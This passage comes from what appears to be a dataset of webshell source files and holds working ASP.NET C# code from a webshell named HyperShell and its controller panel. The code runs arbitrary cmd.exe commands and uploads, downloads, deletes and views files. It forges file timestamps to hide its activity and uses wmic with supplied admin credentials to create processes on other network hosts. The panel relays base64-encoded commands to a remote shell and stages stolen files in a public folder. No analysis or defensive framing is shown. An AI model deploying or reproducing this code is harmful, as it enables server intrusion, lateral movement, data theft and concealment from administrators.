pro=\"\"){System.Diagnostics.Process n=new System.Diagnostics.Process();n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;n.StartInfo.RedirectStandardOutput=true;n.StartInfo.RedirectStandardError=true;n.StartInfo.CreateNoWindow=true;string o=null;n.Start();n.StandardInput.WriteLine(cmd);n.StandardInput.WriteLine(\"exit\");o=n.StandardOutput.ReadToEnd();n.WaitForExit();n.Close();return o;}\r\n    void gsize(string addr){string ret=\"Error : -\";try{hasErrorInGetSize=false;long size=GetDirSize(new System.IO.DirectoryInfo(addr));ret=sizeFix(size);if(hasErrorInGetSize && sizelvl==0)ret=sizeError;else if(hasErrorInGetSize)ret=\"!\"+ret;}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void view(string path){string ret=\"You are viewing the contents of this file : \"+path+Environment.NewLine;try{ret+=System.IO.File.ReadAllText(path);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(HttpUtility.HtmlEncode(ret));}\r\n    void delete(string path){\r\n        string ret=\"Error : -\";\r\n        try {\r\n            System.IO.File.Delete(path);\r\n            ret =string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly deleted{1}\",path,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(path))));\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void multiDelete(string files)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try{\r\n\r\n            string[] f = files.Split('|');\r\n            ret = string.Format(\"All '{0}' files successfuly deleted.\", f.Length);\r\n            foreach (string item in f)\r\n            {\r\n                System.IO.File.Delete(fb(item));\r\n            }\r\n\r\n        }catch (Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void rename(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Move(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly moved to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void copy(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Copy(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly copied to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    string getDirectoryInfo(string address)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (address.ToLower()==\"root\"){\r\n                ret =\"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";\r\n                string netUse=exec(\"net use\");\r\n                string[] lines=netUse.Split(new string[]{Environment.NewLine },StringSplitOptions.RemoveEmptyEntries);\r\n                foreach (string item in lines){\r\n                    if (item.ToLower().StartsWith(\"ok\")){\r\n                        int index=item.IndexOf(\"\\\\\\\\\");\r\n                        ret +=\",{\\\"name\\\":\\\"\\\\\\\\\"+item.Substring(index,item.IndexOf('\\\\',index+2)-index)+\"\\\"}\";\r\n                    }\r\n                }\r\n                ret +=\"]}\";\r\n            } else{\r\n                if (address.StartsWith(\"\\\\\\\\\")&& address.Trim('\\\\').Split('\\\\').Count()==1){\r\n                    string tmp=address.ToLower().TrimEnd('\\\\');\r\n                    if (tmp==\"\\\\\\\\localhost\"){\r\n                        ret =\"{\\\"dir\\\":[\";\r\n                        bool isStart=false;\r\n                        foreach (System.IO.DriveInfo item in System.IO.DriveInfo.GetDrives()){\r\n                            if (item.IsReady){\r\n                                if (isStart)\r\n                                    ret +=\",\";\r\n                                ret +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",item.Name.TrimEnd('\\\\').TrimEnd(':')+\"$\",item.TotalSize,item.TotalFreeSpace,\"[\"+sizeFix(item.TotalFreeSpace)+\"] free of [\"+sizeFix(item.TotalSize)+\"]\",item.DriveFormat,item.DriveType);\r\n                                isStart =true;\r\n                            }\r\n                        }\r\n                        ret +=\"]}\";\r\n                    } else{\r\n                        if (!string.IsNullOrEmpty(adminU)&& !string.IsNullOrEmpty(adminP)){\r\n                            string strWC=@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c > c:\\windows\\temp\\KMSHFX0023{3}.tmp 2>&1 wmic logicaldisk get {4}\"\" 2>&1\";\r\n                            string strWF=@\"\\\\{0}\\c$\\windows\\temp\\KMSHFX0023{1}.tmp\";\r\n                            string strWD=@\"del {0} 2>&1\";\r\n                            tmp =tmp.TrimStart('\\\\');\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,1,\"Caption\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,2,\"FileSystem\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,3,\"Size\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,4,\"FreeSpace\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,5,\"Description\"));\r\n                            System.Threading.Thread.Sleep(3000);\r\n                            List<string> diskTemp=new List<string>();\r\n                            for (int i=1;i <= 5;i++){\r\n                                string f=string.Format(strWF,tmp,i);\r\n                                string[] lDisk=System.IO.File.ReadAllLines(f);\r\n                                exec(string.Format(strWD,f));\r\n                                for (int j=1;j<lDisk.Length;j++){\r\n                                    if (i==1)diskTemp.Add(lDisk[j]);\r\n                                    else diskTemp[j-1]+=\"|\"+lDisk[j];\r\n                                }\r\n                            }\r\n                            ret =\"{\\\"dir\\\":[\";\r\n                            bool isStart=false;\r\n                            foreach (string item in diskTemp){\r\n                                string[] diskInfo=item.Split('|');\r\n                                long TotalSize=0;\r\n                                long TotalFreeSpace=0;\r\n                                long.TryParse(diskInfo[2],out TotalSize);\r\n                                long.TryParse(diskInfo[3],out TotalFreeSpace);\r\n                                if (isStart)\r\n                                    ret +=\",\";\r\n                                ret +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",diskInfo[0].TrimEnd('\\\\').TrimEnd(' ').TrimEnd(':')+\"$\",TotalSize,TotalFreeSpace,\"[\"+sizeFix(TotalFreeSpace)+\"] free of [\"+sizeFix(TotalSize)+\"]\",diskInfo[1],diskInfo[4]);\r\n                                isStart =true;\r\n                            }\r\n                            ret +=\"]}\";\r\n                        } else\r\n                            ret =\"Error : Admin Username or Password is empty\";\r\n                    }\r\n                } else{\r\n                    System.IO.FileAttributes attr=System.IO.File.GetAttributes(address);\r\n                    if ((attr & System.IO.FileAttributes.Directory)==System.IO.FileAttributes.Directory){\r\n                        System.IO.DirectoryInfo dirInfo=new System.IO.DirectoryInfo(address);\r\n                        ret =\"{\"+string.Format(\"{0},{1}\",createJsonDirectory(dirInfo.GetDirectories()),createJsonFile(dirInfo.GetFiles()))+\"}\";\r\n                    }\r\n                }\r\n            }\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        return ret;\r\n    }\r\n    void exp(string exadd){string ret=\"Error : -\";ret=getDirectoryInfo(exadd);response(ret);}\r\n    bool hasErrorInGetSize=false;\r\n    int sizelvl=0;\r\n    string sizeError;\r\n    long GetDirSize(System.IO.DirectoryInfo d){long size=0;try{System.IO.FileInfo[] fis=d.GetFiles();foreach(System.IO.FileInfo fi in fis){size+=fi.Length;}sizelvl++;System.IO.DirectoryInfo[] dis=d.GetDirectories();foreach(System.IO.DirectoryInfo di in dis){size+=GetDirSize(di);}}catch(UnauthorizedAccessException ex){sizeError=\"Error : \"+ex.Message;hasErrorInGetSize=true;}return size;}\r\n    string createJsonDirectory(System.IO.DirectoryInfo[] dir){\r\n        string json=\"\\\"dir\\\":[\";\r\n        for (int i=0;i<dir.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"mdate\\\":\\\"{1}\\\"}}\",dir[i].Name,dir[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string createJsonFile(System.IO.FileInfo[] file){\r\n        string json=\"\\\"file\\\":[\";\r\n        for (int i=0;i<file.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"size\\\":\\\"{1}\\\",\\\"mdate\\\":\\\"{2}\\\"}}\",file[i].Name,sizeFix(file[i].Length),file[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string sizeFix(long size){double s=size;if(s<1024)return s+\" B\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" KB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" MB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" GB\";s=s/1024;return Math.Round(s,2)+\" TB\";}\r\n    void response(string res){Response.Clear();Response.Write(tb(res));Response.Flush();Response.SuppressContent=true;ApplicationInstance.CompleteRequest();}\r\n    void changeTime(string timeh,string tfil,string ttar,string ttim){string ret=\"Error : -\";try {if(!string.IsNullOrEmpty(tfil)){if(timeh==\"1\")ret=ti(tfil);else if(timeh==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}else if(timeh==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}}}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\n    string ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n\r\n</script>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Special2/HighShellLocal/HighShellLocal.aspx",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n\r\n<%@ Import Namespace=\"System.IO\" %>\r\n<%@ Import Namespace=\"System.Net\" %>\r\n<%@ Import Namespace=\"System.Net.Security\" %>\r\n<%@ Import Namespace=\"System.Net.Mime\" %>\r\n<%@ Import Namespace=\"System.Threading\" %>\r\n<%@ Import Namespace=\"Newtonsoft.Json\" %>\r\n\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n    <link href=\"js/semantic/semantic.min.css\" rel=\"stylesheet\" />\r\n    <link href=\"css/main.css\" rel=\"stylesheet\" />\r\n    <link href=\"js/components/downloadbox.css\" rel=\"stylesheet\" />\r\n    <link href=\"js/DataTables-1.10.16/css/jquery.dataTables.min.css\" rel=\"stylesheet\" />\r\n    <script src=\"js/jquery/jquery-3.2.1.min.js\"></script>\r\n    <script src=\"js/DataTables-1.10.16/js/jquery.dataTables.min.js\"></script>\r\n    <script src=\"js/semantic/semantic.min.js\"></script>\r\n    <script src=\"js/utility.js\"></script>\r\n    <script src=\"js/main.js\"></script>\r\n    <script src=\"js/send.js\"></script>\r\n    <script src=\"js/explorer.js\"></script>\r\n    <script src=\"js/components/downloadbox.js\"></script>\r\n    <script src=\"js/components/targetcomuter.js\"></script>\r\n    <script src=\"js/components/spycheck.js\"></script>\r\n    <script src=\"js/components/networkdownlaoder.js\"></script>\r\n    <script src=\"js/components/modules.js\"></script>\r\n    <script src=\"js/components/cmd.js\"></script>\r\n    <%\r\n        try\r\n        {\r\n            //InitiateSSLTrust();\r\n            Session.Timeout = 100; // 100 minute\r\n\r\n            NameValueCollection t = HttpContext.Current.Request.Form;\r\n\r\n            method selectedMethod = method.auth;\r\n\r\n            if (!string.IsNullOrEmpty(t[\"isajax\"]))\r\n                isAjax = true;\r\n\r\n            string methodStr = unpack(t[\"m\"]);\r\n            if (!string.IsNullOrEmpty(methodStr))\r\n            {\r\n                int methodID = int.Parse(methodStr);\r\n                selectedMethod = (method)methodID;\r\n\r\n                url = unpack(t[\"url\"]);\r\n\r\n                if (string.IsNullOrEmpty(url))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"url\"] != null)\r\n                        url = fb(HttpContext.Current.Request.Cookies[\"url\"].Value);\r\n                }\r\n\r\n                string[] urlp = url.Split(';');\r\n                if (urlp.Length > 1)\r\n                {\r\n                    //url = urlp[0];\r\n                    p = urlp[1];\r\n                }\r\n\r\n                if (string.IsNullOrEmpty(p))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"p\"] != null)\r\n                        p = fb(HttpContext.Current.Request.Cookies[\"p\"].Value);\r\n                }\r\n\r\n                if (HttpContext.Current.Request.Cookies[\"loginStyle\"] != null)\r\n                    loginStyle = fb(HttpContext.Current.Request.Cookies[\"loginStyle\"].Value);\r\n\r\n                switch (selectedMethod)\r\n                {\r\n                    case method.auth:\r\n                        auth();\r\n                        break;\r\n                    case method.localExplore:\r\n                        SpecialScript = \"$('#btnExpror').click();\";\r\n                        SpecialScript = @\"\r\nopenTab(document.getElementById('tabExp'), 'tbDir');\r\ndocument.getElementsByName('exadd')[0].value = '\" + unpack(t[\"exadd\"]).Replace(\"\\\\\", \"\\\\\\\\\") + @\"';\r\n$('#btnExpror').click();\";\r\n                        break;\r\n                    case method.command:\r\n                        command(unpack(t[\"cmd\"]));\r\n                        break;\r\n                    case method.downloadTest:\r\n                        downloadTest(t);\r\n                        break;\r\n                    case method.download:\r\n                        Thread thr = new Thread(() => download(unpack(t[\"don\"]), unpack(t[\"isdelete\"]), unpack(t[\"localPath\"]), unpack(t[\"downloadguid\"])));\r\n                        thr.Start();\r\n                        break;\r\n                    case method.checkDownloadProgress:\r\n                        checkDownloadProgress(unpack(t[\"downloadguid\"]), unpack(t[\"lastsize\"]), unpack(t[\"lasttime\"]));\r\n                        break;\r\n                    case method.upload:\r\n                        upload(HttpContext.Current.Request.Files[\"uploadFile\"], t[\"uploadPath\"], t[\"isExp\"]);\r\n                        break;\r\n                    case method.checkModules:\r\n                        checkModules();\r\n                        break;\r\n                    case method.installModule:\r\n                        installModule(unpack(t[\"mname\"]));\r\n                        break;\r\n                    case method.uninstallModule:\r\n                        uninstallModule(unpack(t[\"mname\"]));\r\n                        break;\r\n                    case method.cmd7z:\r\n                        cmd7z(unpack(t[\"7zclevel\"]), unpack(t[\"7zaddress\"]), unpack(t[\"7zfiles\"]), unpack(t[\"7zvsize\"]), unpack(t[\"7zvmode\"]), unpack(t[\"7zexclude\"]));\r\n                        break;\r\n                    case method.spycheck:\r\n                        spycheck(unpack(t[\"loc\"]));\r\n                        break;\r\n                    case method.getIPFromNbt:\r\n                        getIPFromNbt(unpack(t[\"mode\"]), unpack(t[\"input\"]));\r\n                        break;\r\n                    case method.GetLogicDrives:\r\n                        GetLogicDrives(unpack(t[\"exadd\"]), unpack(t[\"adminU\"]), unpack(t[\"adminP\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderCheck:\r\n                        NetworkDownloaderCheck(unpack(t[\"cn\"]),unpack(t[\"ip\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderLog:\r\n                        NetworkDownloaderLog(unpack(t[\"cn\"]),unpack(t[\"log\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderError:\r\n                        NetworkDownloaderError(unpack(t[\"cn\"]),unpack(t[\"error\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderDone:\r\n                        NetworkDownloaderDone(unpack(t[\"cn\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderDir:\r\n                        NetworkDownloaderDir(unpack(t[\"cn\"]),unpack(t[\"filename\"]), unpack(t[\"text\"]));\r\n                        break;\r\n                    default:\r\n                        proxy(t);\r\n                        break;\r\n                }\r\n            }\r\n            //else\r\n            //    auth();\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            response(\"Error : \" + ex.Message);\r\n        }\r\n    %>\r\n    <script runat=\"server\">\r\n        enum method\r\n        {\r\n            auth = 0,\r\n            command = 1,\r\n            upload = 2,\r\n            uploadbase64 = 3,\r\n            delete = 4,\r\n            download = 5,\r\n            changeTime = 6,\r\n            sqlQuery = 7,\r\n            explorer = 8,\r\n            getsize = 9,\r\n            getlocation = 10,\r\n            rename = 11,\r\n            copy = 12,\r\n            view = 13,\r\n            commandAjax = 14,\r\n            downloadTest = 15,\r\n            checkModules = 16,\r\n            installModule = 17,\r\n            uninstallModule = 18,\r\n            cmd7z = 19,\r\n            authAjax = 20,\r\n            getlocationAjax = 21,\r\n            spycheck = 22,\r\n            localExplore = 23,\r\n            checkDownloadProgress = 25,\r\n            getIPFromNbt = 26,\r\n            GetLogicDrives = 27,\r\n            NetworkDownloaderCheck = 28,\r\n            NetworkDownloaderLog = 29,\r\n            NetworkDownloaderError = 30,\r\n            NetworkDownloaderDone = 31,\r\n            NetworkDownloaderDir = 32\r\n\r\n        };\r\n\r\n\r\n        string url, p, pro, cmd, sav, vir, nen, upb, upd, del, don, hid, tfil, ttar, ttim, baseFile, baseAddr, baseVir, baseName, sqc, sqq, exadd, adminU, adminP, cmdB, loc;\r\n        string SpecialScript, loginStyle;\r\n        string BaseAddress = @\"C:\\Users\\Public\\Libraries\\\";\r\n        string DownloadLocation = @\"C:\\Users\\Public\\Libraries\\DownloadFiles\\\";\r\n        string SpyCheckLocation = @\"C:\\Users\\Public\\Libraries\\SpyCheck\\\";\r\n        string LocationNetworkDownloader = @\"C:\\Users\\Public\\Libraries\\NetworkDownloader\\\";\r\n\r\n        //string DownloadTemp = @\"C:\\Users\\Public\\Libraries\\DownloadTemp\\\";\r\n        bool isAjax = false;\r\n        string tb(string a) { string ret = \"\"; try { ret = string.IsNullOrEmpty(a) ? a : Convert.ToBase64String(Encoding.UTF8.GetBytes(a)); } catch { } return ret; }\r\n        string fb(string a) { string ret = \"\"; try { ret = string.IsNullOrEmpty(a) ? a : Encoding.UTF8.GetString(Convert.FromBase64String(a)); } catch { } return ret; }\r\n\r\n        void proxy(NameValueCollection t)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                ret = SendRequest(url, t);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n\r\n        string unpack(string data) { return isAjax ? fb(data) : data; }\r\n\r\n        void GetLogicDrives(string address, string adminU, string adminP)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                //if (address.ToLower().Contains(\"\\\\\\\\localhost\"))\r\n                ret = SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.explorer).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"exadd\", tb(address)},\r\n                    { \"adminU\", tb(adminU)},\r\n                    { \"adminP\", tb(adminP)}\r\n                });\r\n                //else\r\n                //{\r\n\r\n                //}\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderCheck(string computerName, string ip)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                ret = \"ok\";\r\n                if (Directory.Exists(LocationNetworkDownloader))\r\n                {\r\n                    if (string.IsNullOrEmpty(computerName))\r\n                    {\r\n                        //-+\\s+(\\S+)\r\n                        //nbtstat -a 192.168.100.16\r\n\r\n                        string nbtstat = SendRequest(url, new NameValueCollection() {\r\n                            { \"m\", tb(((int)method.command).ToString())},\r\n                            { \"p\", tb(p)},\r\n                            { \"cmd\", tb(string.Format(\"nbtstat -a {0}\",ip))}\r\n                        });\r\n\r\n                        if (nbtstat.Contains(\"Host not found\"))\r\n                        {\r\n                            ret = \"Error : Cannot find computer name from IP Address (Host not found)\";\r\n                        }\r\n                        else\r\n                        {\r\n                            Regex reg = new Regex(@\"-+\\s+(\\S+)\");\r\n                            MatchCollection regResult = reg.Matches(nbtstat);\r\n                            if (regResult.Count > 0)\r\n                            {\r\n                                computerName = regResult[0].Groups[1].Value;\r\n                            }\r\n                            else\r\n                            {\r\n                                ret = \"Error : Cannot find computer name from IP Address (\"+nbtstat+\")\";\r\n                            }\r\n                        }\r\n                    }\r\n\r\n                    if (!string.IsNullOrEmpty(computerName))\r\n                    {\r\n\r\n                        string targetPathIP = CheckDirectory(url, LocationNetworkDownloader) + ip.TrimStart('\\\\') + \"\\\\\";\r\n                        string targetPathCN = CheckDirectory(url, LocationNetworkDownloader) + computerName + \"\\\\\";\r\n                        if (Directory.Exists(targetPathCN))\r\n                        {\r\n                            if (File.Exists(targetPathCN + \"done.txt\"))\r\n                                ret = \"done|\" + File.ReadAllText(targetPathCN + \"done.txt\");\r\n                            else if (File.Exists(targetPathCN + \"error.txt\"))\r\n                                ret = \"error|\" + File.ReadAllText(targetPathCN + \"error.txt\");\r\n\r\n                            if (Directory.Exists(targetPathIP))\r\n                            {\r\n                                Directory.Move(targetPathIP, targetPathCN + ip.TrimStart('\\\\'));\r\n                            }\r\n                        }\r\n                        else if (Directory.Exists(targetPathIP))\r\n                        {\r\n                            Directory.Move(targetPathIP, targetPathCN);\r\n\r\n                            if (File.Exists(targetPathCN + \"done.txt\"))\r\n                                ret = \"done|\" + File.ReadAllText(targetPathCN + \"done.txt\");\r\n                            else if (File.Exists(targetPathCN + \"error.txt\"))\r\n                                ret = \"error|\" + File.ReadAllText(targetPathCN + \"error.txt\");\r\n                        }\r\n                        else\r\n                            Directory.CreateDirectory(targetPathCN);\r\n\r\n                        File.AppendAllText(targetPathCN + \"ip.txt\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\") + \" : \" + ip);\r\n                    }\r\n                }\r\n                else\r\n                    Directory.CreateDirectory(LocationNetworkDownloader);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderLog(string cn, string log)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n                File.AppendAllText(targetPath + \"log.txt\", string.Format(\"---------------------------------------------------------------------\\r\\n[{0}]\\r\\n{1}\\r\\n\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\"), log));\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderError(string cn, string error)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n                File.AppendAllText(targetPath + \"error.txt\", string.Format(\"---------------------------------------------------------------------\\r\\n[{0}]\\r\\n{1}\\r\\n\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\"), error));\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderDone(string cn)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n                File.AppendAllText(targetPath + \"done.txt\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\"));\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderDir(string cn, string filename, string text)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n                File.AppendAllText(targetPath + filename + \".txt\", text);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n\r\n        void upload(HttpPostedFile uploadFile, string uploadPath, string isExp)\r\n        {\r\n            string ret = string.Empty;\r\n            try\r\n            {\r\n                if (uploadFile != null && uploadFile.ContentLength > 0)\r\n                {\r\n                    ret = SendFile(uploadFile, uploadPath);\r\n                    if (!string.IsNullOrEmpty(isExp))\r\n                    {\r\n                        SpecialScript = @\"\r\nopenTab(document.getElementById('tabExp'), 'tbDir');\r\ndocument.getElementsByName('exadd')[0].value = '\" + uploadPath.Replace(\"\\\\\", \"\\\\\\\\\") + @\"';\r\ndocument.getElementById('btnExpror').click();\";\r\n                    }\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            response(ret);\r\n        }\r\n\r\n        public string UploadFile(Stream fStream, string fileName, string dataName, List<KeyValuePair<string, string>> formData)\r\n        {\r\n            HttpWebRequest requestToServerEndpoint = (HttpWebRequest)WebRequest.Create(url);\r\n            string boundaryString = \"----sdfERASDGsdf342GA\";\r\n\r\n            requestToServerEndpoint.Method = WebRequestMethods.Http.Post;\r\n            requestToServerEndpoint.ContentType = \"multipart/form-data; boundary=\" + boundaryString;\r\n            requestToServerEndpoint.KeepAlive = true;\r\n            requestToServerEndpoint.Credentials = System.Net.CredentialCache.DefaultCredentials;\r\n\r\n            MemoryStream postDataStream = new MemoryStream();\r\n            StreamWriter postDataWriter = new StreamWriter(postDataStream);\r\n\r\n            foreach (var item in formData)\r\n            {\r\n                postDataWriter.Write(\"\\r\\n--\" + boundaryString + \"\\r\\n\");\r\n                postDataWriter.Write(\"Content-Disposition: form-data; name=\\\"{0}\\\"\\r\\n\\r\\n{1}\",\r\n                item.Key,\r\n                tb(item.Value));\r\n            }\r\n\r\n            postDataWriter.Write(\"\\r\\n--\" + boundaryString + \"\\r\\n\");\r\n            postDataWriter.Write(\"Content-Disposition: form-data;\"\r\n            + \"name=\\\"{0}\\\";\"\r\n            + \"filename=\\\"{1}\\\"\"\r\n            + \"\\r\\nContent-Type: multipart/form-data\\r\\n\\r\\n\",\r\n            dataName,\r\n            fileName);\r\n            postDataWriter.Flush();\r\n\r\n            Stream fileStream = fStream;\r\n            byte[] buffer = new byte[1024];\r\n            int bytesRead = 0;\r\n            while ((bytesRead = fileStream.Read(buffer, 0, buffer.Length)) != 0)\r\n            {\r\n                postDataStream.Write(buffer, 0, bytesRead);\r\n            }\r\n            fileStream.Close();\r\n\r\n            postDataWriter.Write(\"\\r\\n--\" + boundaryString + \"--\\r\\n\");\r\n            postDataWriter.Flush();\r\n\r\n            requestToServerEndpoint.ContentLength = postDataStream.Length;\r\n\r\n            using (Stream s = requestToServerEndpoint.GetRequestStream())\r\n            {\r\n                postDataStream.WriteTo(s);\r\n            }\r\n            postDataStream.Close();\r\n\r\n            WebResponse response = requestToServerEndpoint.GetResponse();\r\n            StreamReader responseReader = new StreamReader(response.GetResponseStream());\r\n            string replyFromServer = responseReader.ReadToEnd();\r\n\r\n            return fb(replyFromServer);\r\n        }\r\n        public string SendFile(HttpPostedFile uploadFile, string uploadPath)\r\n        {\r\n            List<KeyValuePair<string, string>> formData = new List<KeyValuePair<string, string>>();\r\n            formData.Add(new KeyValuePair<string, string>(\"uploadPath\", uploadPath));\r\n            formData.Add(new KeyValuePair<string, string>(\"m\", ((int)method.upload).ToString()));\r\n            formData.Add(new KeyValuePair<string, string>(\"p\", p));\r\n\r\n            return UploadFile(uploadFile.InputStream, uploadFile.FileName, \"uploadFile\", formData);\r\n        }\r\n\r\n        void auth()\r\n        {\r\n            string ret = string.Empty;\r\n            try\r\n            {\r\n                if (string.IsNullOrEmpty(p))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"p\"] != null)\r\n                        p = fb(HttpContext.Current.Request.Cookies[\"p\"].Value);\r\n                }\r\n                else\r\n                {\r\n                    HttpCookie coo = new HttpCookie(\"p\", tb(p));\r\n                    coo.Expires = DateTime.Now.AddDays(1);\r\n                    HttpContext.Current.Response.SetCookie(coo);\r\n                }\r\n\r\n                if (string.IsNullOrEmpty(url))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"url\"] != null)\r\n                        url = fb(HttpContext.Current.Request.Cookies[\"url\"].Value);\r\n                